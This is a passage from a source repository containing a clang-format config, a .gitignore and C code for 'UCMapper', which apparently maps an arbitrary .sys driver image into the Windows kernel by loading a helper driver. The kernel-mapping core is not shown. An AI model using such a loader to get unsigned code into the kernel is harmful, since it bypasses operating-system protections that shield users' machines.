87 | ContinuationIndentWidth: 4
88 | Cpp11BracedListStyle: true
89 | DerivePointerAlignment: false
90 | DisableFormat: false
91 | EmptyLineAfterAccessModifier: Always
92 | EmptyLineBeforeAccessModifier: LogicalBlock
93 | ExperimentalAutoDetectBinPacking: false
94 | FixNamespaceComments: true
95 | ForEachMacros:
96 | - foreach
97 | - Q_FOREACH
98 | - BOOST_FOREACH
99 | IfMacros:
100 | - KJ_IF_MAYBE
101 | IncludeBlocks: Preserve
102 | IncludeCategories:
103 | - Regex: ^"(llvm|llvm-c|clang|clang-c)/
104 | Priority: 2
105 | SortPriority: 0
106 | CaseSensitive: false
107 | - Regex: ^(<|"(gtest|gmock|isl|json)/)
108 | Priority: 3
109 | SortPriority: 0
110 | CaseSensitive: false
111 | - Regex: .*
112 | Priority: 1
113 | SortPriority: 0
114 | CaseSensitive: false
115 | IncludeIsMainRegex: (Test)?$
116 | IncludeIsMainSourceRegex: ""
117 | IndentAccessModifiers: false
118 | IndentCaseBlocks: false
119 | IndentCaseLabels: false
120 | IndentExternBlock: NoIndent
121 | IndentGotoLabels: true
122 | IndentPPDirectives: None
123 | IndentRequiresClause: false
124 | IndentWidth: 4
125 | IndentWrappedFunctionNames: false
126 | InsertBraces: false
127 | InsertNewlineAtEOF: true
128 | InsertTrailingCommas: None
129 | IntegerLiteralSeparator:
130 | Binary: 0
131 | BinaryMinDigits: 0
132 | Decimal: 0
133 | DecimalMinDigits: 0
134 | Hex: 0
135 | HexMinDigits: 0
136 | JavaScriptQuotes: Leave
137 | JavaScriptWrapImports: false
138 | KeepEmptyLinesAtTheStartOfBlocks: false
139 | LambdaBodyIndentation: Signature
140 | Language: Cpp
141 | LineEnding: DeriveCRLF
142 | MacroBlockBegin: ""
143 | MacroBlockEnd: ""
144 | MaxEmptyLinesToKeep: 2
145 | NamespaceIndentation: None
146 | ObjCBinPackProtocolList: Auto
147 | ObjCBlockIndentWidth: 2
148 | ObjCBreakBeforeNestedBlockParam: false
149 | ObjCSpaceAfterProperty: false
150 | ObjCSpaceBeforeProtocolList: false
151 | PPIndentWidth: -1
152 | PackConstructorInitializers: Never
153 | PenaltyBreakAssignment: 2
154 | PenaltyBreakBeforeFirstCallParameter: 19
155 | PenaltyBreakComment: 300
156 | PenaltyBreakFirstLessLess: 120
157 | PenaltyBreakOpenParenthesis: 0
158 | PenaltyBreakString: 1000
159 | PenaltyBreakTemplateDeclaration: 10
160 | PenaltyExcessCharacter: 1000000
161 | PenaltyIndentedWhitespace: 0
162 | PenaltyReturnTypeOnItsOwnLine: 1000
163 | PointerAlignment: Left
164 | QualifierAlignment: Left
165 | ReferenceAlignment: Pointer
166 | ReflowComments: false
167 | RemoveBracesLLVM: false
168 | RemoveSemicolon: false
169 | RequiresClausePosition: WithPreceding
170 | RequiresExpressionIndentation: OuterScope
171 | SeparateDefinitionBlocks: Always
172 | ShortNamespaceLines: 0
173 | SortIncludes: Never
174 | SortJavaStaticImport: Before
175 | SortUsingDeclarations: LexicographicNumeric
176 | SpaceAfterCStyleCast: false
177 | SpaceAfterLogicalNot: false
178 | SpaceAfterTemplateKeyword: false
179 | SpaceAroundPointerQualifiers: Before
180 | SpaceBeforeAssignmentOperators: true
181 | SpaceBeforeCaseColon: false
182 | SpaceBeforeCpp11BracedList: false
183 | SpaceBeforeCtorInitializerColon: false
184 | SpaceBeforeInheritanceColon: false
185 | SpaceBeforeParens: ControlStatements
186 | SpaceBeforeParensOptions:
187 | AfterControlStatements: true
188 | AfterForeachMacros: true
189 | AfterFunctionDeclarationName: false
190 | AfterFunctionDefinitionName: false
191 | AfterIfMacros: true
192 | AfterOverloadedOperator: false
193 | AfterRequiresInClause: false
194 | AfterRequiresInExpression: false
195 | BeforeNonEmptyParentheses: false
196 | SpaceBeforeRangeBasedForLoopColon: true
197 | SpaceBeforeSquareBrackets: false
198 | SpaceInEmptyBlock: false
199 | SpaceInEmptyParentheses: false
200 | SpacesBeforeTrailingComments: 1
201 | SpacesInAngles: Never
202 | SpacesInCStyleCastParentheses: false
203 | SpacesInConditionalStatement: false
204 | SpacesInContainerLiterals: false
205 | SpacesInLineCommentPrefix:
206 | Minimum: 1
207 | Maximum: -1
208 | SpacesInParentheses: false
209 | SpacesInSquareBrackets: false
210 | Standard: Latest
211 | StatementAttributeLikeMacros:
212 | - Q_EMIT
213 | StatementMacros:
214 | - Q_UNUSED
215 | - QT_REQUIRE_VERSION
216 | TabWidth: 4
217 | UseTab: Never
218 | WhitespaceSensitiveMacros:
219 | - BOOST_PP_STRINGIZE
220 | - CF_SWIFT_NAME
221 | - NS_SWIFT_NAME
222 | - PP_STRINGIZE
223 | - STRINGIZE
224 | AllowAllConstructorInitializersOnNextLine: true
225 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Oo]ut/
33 | [Ll]og/
34 | [Ll]ogs/
35 |
36 | # Visual Studio 2015/2017 cache/options directory
37 | .vs/
38 | # Uncomment if you have tasks that create the project's static files in wwwroot
39 | #wwwroot/
40 |
41 | # Visual Studio 2017 auto generated files
42 | Generated\ Files/
43 |
44 | # MSTest test Results
45 | [Tt]est[Rr]esult*/
46 | [Bb]uild[Ll]og.*
47 |
48 | # NUnit
49 | *.VisualState.xml
50 | TestResult.xml
51 | nunit-*.xml
52 |
53 | # Build Results of an ATL Project
54 | [Dd]ebugPS/
55 | [Rr]eleasePS/
56 | dlldata.c
57 |
58 | # Benchmark Results
59 | BenchmarkDotNet.Artifacts/
60 |
61 | # .NET Core
62 | project.lock.json
63 | project.fragment.lock.json
64 | artifacts/
65 |
66 | # ASP.NET Scaffolding
67 | ScaffoldingReadMe.txt
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio LightSwitch build output
298 | **/*.HTMLClient/GeneratedArtifacts
299 | **/*.DesktopClient/GeneratedArtifacts
300 | **/*.DesktopClient/ModelManifest.xml
301 | **/*.Server/GeneratedArtifacts
302 | **/*.Server/ModelManifest.xml
303 | _Pvt_Extensions
304 |
305 | # Paket dependency manager
306 | .paket/paket.exe
307 | paket-files/
308 |
309 | # FAKE - F# Make
310 | .fake/
311 |
312 | # CodeRush personal settings
313 | .cr/personal
314 |
315 | # Python Tools for Visual Studio (PTVS)
316 | __pycache__/
317 | *.pyc
318 |
319 | # Cake - Uncomment if you are using it
320 | # tools/**
321 | # !tools/packages.config
322 |
323 | # Tabs Studio
324 | *.tss
325 |
326 | # Telerik's JustMock configuration file
327 | *.jmconfig
328 |
329 | # BizTalk build output
330 | *.btp.cs
331 | *.btm.cs
332 | *.odx.cs
333 | *.xsd.cs
334 |
335 | # OpenCover UI analysis results
336 | OpenCover/
337 |
338 | # Azure Stream Analytics local run output
339 | ASALocalRun/
340 |
341 | # MSBuild Binary and Structured Log
342 | *.binlog
343 |
344 | # NVidia Nsight GPU debugger configuration file
345 | *.nvuser
346 |
347 | # MFractors (Xamarin productivity tool) working folder
348 | .mfractor/
349 |
350 | # Local History for Visual Studio
351 | .localhistory/
352 |
353 | # BeatPulse healthcheck temp database
354 | healthchecksdb
355 |
356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
357 | MigrationBackup/
358 |
359 | # Ionide (cross platform F# VS Code tools) working folder
360 | .ionide/
361 |
362 | # Fody - auto-generated XML schema
363 | FodyWeavers.xsd
--------------------------------------------------------------------------------
/UCMapper/main.c:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 |
3 | int __cdecl wmain(_In_ int argc, _In_ wchar_t** argv)
4 | {
5 | NTSTATUS Status;
6 | PVOID ImageBase;
7 | SIZE_T ImageSize;
8 | LPWSTR DriverPath;
9 | DEVICE_DRIVER_OBJECT Driver;
10 |
11 | if (argc != 2) {
12 | Status = STATUS_INVALID_PARAMETER;
13 | DEBUG_PRINT_NTSTATUS(Status);
14 | DEBUG_PRINT("[!] invalid arguments.\r\n\t%ws \r\n", argv[0]);
15 | return Status;
16 | }
17 |
18 | //
19 | // Map File as Image.
20 | //
21 | DriverPath = argv[1];
22 | Status = RtlFileMapImage(DriverPath, &ImageBase, &ImageSize);
23 | if NT_ERROR (Status) {
24 | DEBUG_PRINT_NTSTATUS(Status);
25 | return Status;
26 | }
27 |
28 | //
29 | // Load driver and map image.
30 | //
31 | Status = LoadDriver(&Driver);
32 | if NT_SUCCESS (Status) {
33 | Status = MmLoadSystemImage(&Driver, ImageBase);
34 | DEBUG_PRINT("[+] Mapping result: 0x%08X.", Status);
35 | UnloadDriver(&Driver);
36 | }
37 |
38 | RtlFileUnmap(ImageBase);
39 | return Status;
40 | }
41 |
42 | LRESULT CALLBACK MainProcedure(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
43 | {
44 | switch (message) {
45 | case WM_INITDIALOG: {
46 | Button_SetElevationRequiredState(GetDlgItem(hWnd, IDC_MAP), TRUE);
47 | // Place the window in the center of screen.
48 | RECT WindowRect;
49 | if (GetWindowRect(hWnd, &WindowRect)) {
50 | POINT Position;
51 | Position.x = GetSystemMetrics(SM_CXSCREEN) / 2;
52 | Position.y = GetSystemMetrics(SM_CYSCREEN) / 2;
53 | Position.x -= (WindowRect.right - WindowRect.left) / 2;
54 | Position.y -= (WindowRect.bottom - WindowRect.top) / 2;
55 | SetWindowPos(hWnd, HWND_TOP, Position.x, Position.y, 0, 0, SWP_NOSIZE);
56 | }
57 |
58 | return TRUE;
59 | }
60 | case WM_COMMAND: {
61 | WORD wmId = LOWORD(wParam);
62 | WORD wmEvent = HIWORD(wParam);
63 |
64 | // Parse the menu selections:
65 | if (wmEvent == BN_CLICKED) {
66 | switch (wmId) {
67 | case IDC_BROWSE: {
68 | OPENFILENAME ofn;
69 | TCHAR szFile[260] = {0};
70 |
71 | // Inisialisasi struktur OPENFILENAME
72 | ZeroMemory(&ofn, sizeof(ofn));
73 | ofn.lStructSize = sizeof(ofn);
74 | ofn.lpstrFile = szFile;
75 | ofn.lpstrFile[0] = '\0';
76 | ofn.nMaxFile = sizeof(szFile);
77 | ofn.lpstrFilter = TEXT("Driver Files (*.sys)\0*.sys\0All Files (*.*)\0*.*\0");
78 | ofn.nFilterIndex = 1;
79 | ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
80 |
81 | // Membuka dialog pemilihan file
82 | if (GetOpenFileName(&ofn) == TRUE) {
83 | // File dipilih, lakukan sesuatu dengan file tersebut
84 | SetWindowText(GetDlgItem(hWnd, IDC_EDIT), szFile);
85 | }
86 | return TRUE;
87 | } break;
88 |
89 | case IDC_MAP: {
90 | NTSTATUS Status;
91 | WCHAR DriverPath[MAX_PATH] = {L'\0'};
92 | PVOID ImageBase;
93 | SIZE_T ImageSize;
94 | DEVICE_DRIVER_OBJECT Driver;
95 |
96 | GetWindowTextW(GetDlgItem(hWnd, IDC_EDIT), DriverPath, MAX_PATH);
97 |
98 | Status = RtlFileMapImage(DriverPath, &ImageBase, &ImageSize);
99 | if NT_ERROR (Status) {
100 | MsgBoxFormat("Error: 0x%08X", Status);
101 | return NT_SUCCESS(Status);
102 | }
103 |
104 | //
105 | // Load driver and map image.
106 | //
107 | Status = LoadDriver(&Driver);
108 | if NT_SUCCESS (Status) {
109 | Status = MmLoadSystemImage(&Driver, ImageBase);
110 | MsgBoxFormat("Mapping result: 0x%08X.", Status);
111 | UnloadDriver(&Driver);
112 | }
113 |
114 | RtlFileUnmap(ImageBase);
115 | return NT_SUCCESS(Status);
116 | } break;
117 |
118 | default:
119 | break;
120 | }
121 | }
122 | break;
123 | } break;
124 |
125 | case WM_CLOSE:
126 | case WM_DESTROY:
127 | EndDialog(hWnd, 0);
128 | break;
129 | default:
130 |
131 | break;
132 | }
133 |
134 | return FALSE;
135 | }
136 |
137 | LRESULT CALLBACK InitProcedure(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
138 | {
139 | switch (uMsg) {
140 | case WM_CREATE:
141 | break;
142 |
143 | case WM_DESTROY: {
144 | DestroyWindow(hwndDlg);
145 | PostQuitMessage(0);
146 | break;
147 | }
148 |
149 | break;
150 | default:
151 |
152 | return DefWindowProc(hwndDlg, uMsg, wParam, lParam);
153 | }
154 |
155 | return FALSE;
156 | }
157 |
158 | ATOM APIENTRY RegisterWindow(_In_ HINSTANCE hInstance)
159 | {
160 | WNDCLASSEX wcex;
161 | ZeroMemory(&wcex, sizeof(WNDCLASSEX));
162 | wcex.cbSize = sizeof(WNDCLASSEX);
163 | wcex.style = CS_HREDRAW | CS_VREDRAW;
164 | wcex.lpfnWndProc = InitProcedure;
165 | wcex.cbClsExtra = 0;
166 | wcex.cbWndExtra = 0;
167 | wcex.hInstance = hInstance;
168 | wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDC_ICON));
169 | wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
170 | wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
171 | wcex.lpszClassName = L"UCMapper";
172 | wcex.hIconSm = LoadIcon(hInstance, MAKEINTRESOURCE(IDC_ICON));
173 | // wcex.lpszMenuName = MAKEINTRESOURCEW(IDI_MENU);
174 | return RegisterClassEx(&wcex);
175 | }
176 |
177 | BOOL APIENTRY CreateInstance(_In_ HINSTANCE hInstance, _Out_ HANDLE* Mutex, _Out_ HWND* hWnd)
178 | {
179 | *hWnd = NULL;
180 | *Mutex = NULL; // Initialize Mutex to NULL
181 |
182 | *Mutex = CreateMutex(NULL, TRUE, L"UCMapper");
183 | if (GetLastError() == ERROR_ALREADY_EXISTS || *Mutex == INVALID_HANDLE_VALUE
184 | || *Mutex == NULL) {
185 | MessageBox(NULL, L"Program is already running.", L"Error", MB_ICONERROR);
186 | if (*Mutex)
187 | CloseHandle(*Mutex);
188 |
189 | return FALSE;
190 | }
191 |
192 | HRESULT hr = CoInitialize(NULL);
193 | if (FAILED(hr)) {
194 | MessageBox(NULL, L"Error initializing Common Control.", L"Error", MB_ICONERROR);
195 | CoUninitialize();
196 | if (*Mutex) {
197 | CloseHandle(*Mutex);
198 | *Mutex = NULL; // Set Mutex to NULL after closing the handle
199 | }
200 |
201 | return FALSE;
202 | }
203 |
204 | RegisterWindow(hInstance);
205 | *hWnd = CreateWindow(
206 | L"UCMapper",
207 | L"UCMapper",
208 | WS_SYSMENU,
209 | CW_USEDEFAULT,
210 | 0,
211 | 0,
212 | 0,
213 | NULL,
214 | NULL,
215 | hInstance,
216 | NULL);
217 |
218 | if (!*hWnd) {
219 | MessageBox(NULL, L"Failed to creating window.", L"Error", MB_ICONERROR);
220 | CoUninitialize();
221 | if (*Mutex) {
222 | CloseHandle(*Mutex);
223 | *Mutex = NULL; // Set Mutex to NULL after closing the handle
224 | }
225 | UnregisterClass(L"UCMapper", hInstance);
226 |
227 | return FALSE;
228 | }
229 |
230 | return TRUE;
231 | }
232 |
233 | BOOL APIENTRY wWinMain(
234 | _In_ HINSTANCE hInstance,
235 | _In_opt_ HINSTANCE hPrevInstance,
236 | _In_ LPWSTR pCmdLine,
237 | _In_ int nCmdShow)
238 | {
239 | UNREFERENCED_PARAMETER(hInstance);
240 | UNREFERENCED_PARAMETER(hPrevInstance);
241 | UNREFERENCED_PARAMETER(pCmdLine);
242 | UNREFERENCED_PARAMETER(nCmdShow);
243 |
244 | int result = 0;
245 | int argc;
246 | LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc);
247 | if (NULL != argv) {
248 | if (argc == 2) {
249 | result = wmain(argc, argv);
250 | }
251 | LocalFree(argv);
252 | }
253 |
254 | if (nCmdShow != SW_HIDE) {
255 | HWND MainWindow;
256 | HANDLE Mutex;
257 | if (CreateInstance(hInstance, &Mutex, &MainWindow)) {
258 | result = (int)
259 | DialogBox(hInstance, MAKEINTRESOURCE(IDD_DIALOG1), MainWindow, MainProcedure);
260 | }
261 |
262 | if (Mutex) {
263 | CloseHandle(Mutex);
264 | Mutex = NULL;
265 | }
266 |
267 | UnregisterClass(L"UCMapper", hInstance);
268 | if (MainWindow) {
269 | DestroyWindow(MainWindow);
270 | MainWindow = NULL;
271 | }
272 | }
273 |
274 | return result;
275 | }
276 |
--------------------------------------------------------------------------------
/UCMapper/filerw.c:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 |
3 | NTSTATUS RtlFileRead(_In_ LPCWSTR Source, _Out_ PVOID* Buffer, _Out_ PSIZE_T FileSize)
4 | {
5 | NTSTATUS Status;
6 | HANDLE FileHandle;
7 | IO_STATUS_BLOCK IoStatus;
8 | OBJECT_ATTRIBUTES ObjectAttributes;
9 | UNICODE_STRING UnicodeString;
10 | FILE_STANDARD_INFORMATION FileInformation = {0};
11 | PVOID Allocation;
12 | LARGE_INTEGER FileOffsets;
13 |
14 | *Buffer = NULL;
15 | *FileSize = 0;
16 | FileOffsets.QuadPart = 0;
17 |
18 | if (Source[0] == L'\\')
19 | RtlInitUnicodeString(&UnicodeString, Source);
20 | else
21 | RtlDosPathNameToNtPathName_U(Source, &UnicodeString, NULL, NULL);
22 |
23 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
24 | Status = NtOpenFile(
25 | &FileHandle,
26 | FILE_GENERIC_READ,
27 | &ObjectAttributes,
28 | &IoStatus,
29 | FILE_SHARE_READ,
30 | FILE_NON_DIRECTORY_FILE);
31 |
32 | if (Source[0] != L'\\')
33 | RtlFreeUnicodeString(&UnicodeString);
34 |
35 | if NT_ERROR (Status) {
36 | DEBUG_PRINT_NTSTATUS(Status);
37 | return Status;
38 | }
39 |
40 | Status = NtQueryInformationFile(
41 | FileHandle,
42 | &IoStatus,
43 | &FileInformation,
44 | sizeof(FileInformation),
45 | FileStandardInformation);
46 |
47 | if NT_ERROR (Status) {
48 | NtClose(FileHandle);
49 |
50 | DEBUG_PRINT_NTSTATUS(Status);
51 | return Status;
52 | }
53 |
54 | Allocation = RtlAllocateMemory(FileInformation.EndOfFile.QuadPart);
55 | Status = NtReadFile(
56 | FileHandle,
57 | NULL,
58 | NULL,
59 | NULL,
60 | &IoStatus,
61 | Allocation,
62 | FileInformation.EndOfFile.LowPart,
63 | &FileOffsets,
64 | NULL);
65 |
66 | if (Status == STATUS_PENDING) {
67 | Status = NtWaitForSingleObject(FileHandle, FALSE, NULL);
68 | if NT_SUCCESS (Status)
69 | Status = IoStatus.Status;
70 | }
71 |
72 | if NT_ERROR (Status) {
73 | NtClose(FileHandle);
74 | RtlFreeMemory(Allocation);
75 |
76 | DEBUG_PRINT_NTSTATUS(Status);
77 | return Status;
78 | }
79 |
80 | *FileSize = FileInformation.EndOfFile.QuadPart;
81 | *Buffer = Allocation;
82 |
83 | Status = NtClose(FileHandle);
84 | return Status;
85 | }
86 |
87 | NTSTATUS RtlFileWrite(
88 | _In_ LPCWSTR Destination,
89 | _In_reads_bytes_(BufferLength) PVOID Buffer,
90 | _In_ SIZE_T BufferLength)
91 | {
92 | UNICODE_STRING UnicodeString;
93 | OBJECT_ATTRIBUTES ObjectAttributes;
94 | NTSTATUS Status;
95 | HANDLE FileHandle;
96 | IO_STATUS_BLOCK IoStatusBlock;
97 | LARGE_INTEGER FileSize;
98 | LARGE_INTEGER FileOffsets;
99 |
100 | FileSize.QuadPart = BufferLength;
101 | FileOffsets.QuadPart = 0;
102 |
103 | if (Destination[0] == L'\\')
104 | RtlInitUnicodeString(&UnicodeString, Destination);
105 | else
106 | RtlDosPathNameToNtPathName_U(Destination, &UnicodeString, NULL, NULL);
107 |
108 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
109 | Status = NtCreateFile(
110 | &FileHandle,
111 | FILE_ALL_ACCESS,
112 | &ObjectAttributes,
113 | &IoStatusBlock,
114 | NULL,
115 | FILE_ATTRIBUTE_NORMAL,
116 | FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,
117 | FILE_SUPERSEDE,
118 | FILE_NON_DIRECTORY_FILE,
119 | NULL,
120 | 0);
121 |
122 | if (Destination[0] != L'\\')
123 | RtlFreeUnicodeString(&UnicodeString);
124 |
125 | if NT_ERROR (Status) {
126 | DEBUG_PRINT_NTSTATUS(Status);
127 | return Status;
128 | }
129 |
130 | Status = NtWriteFile(
131 | FileHandle,
132 | NULL,
133 | NULL,
134 | NULL,
135 | &IoStatusBlock,
136 | Buffer,
137 | FileSize.LowPart,
138 | &FileOffsets,
139 | NULL);
140 |
141 | if (Status == STATUS_PENDING) {
142 | Status = NtWaitForSingleObject(FileHandle, FALSE, NULL);
143 | if NT_SUCCESS (Status)
144 | Status = IoStatusBlock.Status;
145 | }
146 |
147 | if NT_ERROR (Status) {
148 | DEBUG_PRINT_NTSTATUS(Status);
149 | NtClose(FileHandle);
150 | return Status;
151 | }
152 |
153 | Status = NtClose(FileHandle);
154 | return Status;
155 | }
156 |
157 | NTSTATUS RtlFileMap(_In_ LPCWSTR Source, _Out_ PVOID* BaseAddress, _Out_ PSIZE_T ViewSize)
158 | {
159 | NTSTATUS Status;
160 | UNICODE_STRING UnicodeString;
161 | OBJECT_ATTRIBUTES ObjectAttributes;
162 | HANDLE FileHandle;
163 | HANDLE SectionHandle;
164 | IO_STATUS_BLOCK IoStatus;
165 |
166 | *BaseAddress = NULL;
167 | *ViewSize = 0;
168 |
169 | if (Source[0] == L'\\')
170 | RtlInitUnicodeString(&UnicodeString, Source);
171 | else
172 | RtlDosPathNameToNtPathName_U(Source, &UnicodeString, NULL, NULL);
173 |
174 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
175 | Status = NtOpenFile(
176 | &FileHandle,
177 | SECTION_ALL_ACCESS,
178 | &ObjectAttributes,
179 | &IoStatus,
180 | FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
181 | FILE_NON_DIRECTORY_FILE);
182 |
183 | if (Source[0] != L'\\')
184 | RtlFreeUnicodeString(&UnicodeString);
185 |
186 | if NT_ERROR (Status) {
187 | DEBUG_PRINT_NTSTATUS(Status);
188 | return Status;
189 | }
190 |
191 | InitializeObjectAttributes(&ObjectAttributes, NULL, (OBJ_CASE_INSENSITIVE), NULL, NULL);
192 | Status = NtCreateSection(
193 | &SectionHandle,
194 | SECTION_ALL_ACCESS,
195 | &ObjectAttributes,
196 | (PLARGE_INTEGER)NULL,
197 | PAGE_READWRITE,
198 | SEC_RESERVE,
199 | FileHandle);
200 |
201 | if NT_ERROR (Status) {
202 | NtClose(FileHandle);
203 | DEBUG_PRINT_NTSTATUS(Status);
204 | return Status;
205 | }
206 |
207 |
208 | Status = NtMapViewOfSection(
209 | SectionHandle,
210 | NtCurrentProcess(),
211 | BaseAddress,
212 | 0,
213 | 0,
214 | NULL,
215 | ViewSize,
216 | ViewUnmap,
217 | 0,
218 | PAGE_READWRITE);
219 |
220 | NtClose(SectionHandle);
221 | NtClose(FileHandle);
222 | if NT_ERROR (Status) {
223 | *BaseAddress = NULL;
224 | *ViewSize = 0;
225 |
226 | DEBUG_PRINT_NTSTATUS(Status);
227 | return Status;
228 | }
229 |
230 | return Status;
231 | }
232 |
233 | NTSTATUS RtlFileMapImage(_In_ LPCWSTR Source, _Out_ PVOID* BaseAddress, _Out_ PSIZE_T ViewSize)
234 | {
235 | NTSTATUS Status;
236 | UNICODE_STRING UnicodeString;
237 | OBJECT_ATTRIBUTES ObjectAttributes;
238 | HANDLE FileHandle;
239 | HANDLE SectionHandle;
240 | IO_STATUS_BLOCK IoStatus;
241 |
242 | *BaseAddress = NULL;
243 | *ViewSize = 0;
244 |
245 | if (Source[0] == L'\\')
246 | RtlInitUnicodeString(&UnicodeString, Source);
247 | else
